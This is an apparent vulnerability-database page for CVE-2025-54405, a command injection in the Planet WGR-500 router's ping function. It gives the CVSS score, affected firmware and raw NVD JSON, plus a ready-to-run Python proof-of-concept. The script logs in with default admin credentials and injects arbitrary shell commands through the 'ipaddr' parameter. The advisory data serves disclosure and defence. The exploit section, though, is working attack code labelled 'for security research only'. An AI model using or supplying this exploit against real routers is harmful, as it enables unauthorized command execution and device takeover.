Security Vulnerability Report
中文
CVE-2025-54405 CVSS 8.8 HIGH

CVE-2025-54405

Published: 2025-10-07 14:15:38
Last Modified: 2025-11-03 18:17:00

Description

Multiple OS command injection vulnerabilities exist in the formPingCmd functionality of Planet WGR-500 v1.3411b190912. A specially crafted series of HTTP requests can lead to arbitrary command execution. An attacker can send a series of HTTP requests to trigger these vulnerabilities.This command injection is related to the `ipaddr` request parameter.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:* - NOT VULNERABLE
Planet WGR-500 v1.3411b190912

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-54405 - Planet WGR-500 formPingCmd OS Command Injection PoC # Vulnerability: OS Command Injection via ipaddr parameter in formPingCmd # Affected: Planet WGR-500 v1.3411b190912 import requests import sys from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) TARGET_URL = "http://192.168.1.1" # Default router IP USERNAME = "admin" # Default credentials PASSWORD = "admin" # Default credentials def exploit(target_url, username, password, cmd): """ Exploit the command injection vulnerability in formPingCmd functionality. The ipaddr parameter is vulnerable to OS command injection. """ session = requests.Session() # Step 1: Authenticate to the router login_url = f"{target_url}/login.cgi" login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print(f"[-] Login failed with status: {resp.status_code}") return None print(f"[+] Successfully authenticated to {target_url}") # Step 2: Inject malicious command via ipaddr parameter # The semicolon (;) terminates the ping command and starts a new one ping_url = f"{target_url}/apply.cgi" # Malicious payload: legitimate IP followed by command separator and injected command payload = f"127.0.0.1;{cmd}" ping_data = { "submit_button": "Ping", "change_action": "gozila_cgi", "ipaddr": payload # Vulnerable parameter } resp = session.post(ping_url, data=ping_data, verify=False) if resp.status_code == 200: print(f"[+] Command injection executed: {cmd}") # Extract command output from response return resp.text else: print(f"[-] Exploit failed with status: {resp.status_code}") return None if __name__ == "__main__": if len(sys.argv) > 1: command = " ".join(sys.argv[1:]) else: command = "id" # Default command to verify exploitation print(f"[*] Targeting CVE-2025-54405 - Planet WGR-500 Command Injection") print(f"[*] Command to execute: {command}") result = exploit(TARGET_URL, USERNAME, PASSWORD, command) if result: print(f"[+] Response:\n{result}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54405", "sourceIdentifier": "[email protected]", "published": "2025-10-07T14:15:38.483", "lastModified": "2025-11-03T18:16:59.697", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Multiple OS command injection vulnerabilities exist in the formPingCmd functionality of Planet WGR-500 v1.3411b190912. A specially crafted series of HTTP requests can lead to arbitrary command execution. An attacker can send a series of HTTP requests to trigger these vulnerabilities.This command injection is related to the `ipaddr` request parameter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:*", "matchCriteriaId": "B2595E4C-3CBF-44C8-B4E4-56498F94899E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD4C9C5C-B223-4AED-9210-E0ADA4150E0B"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2229", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2229", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}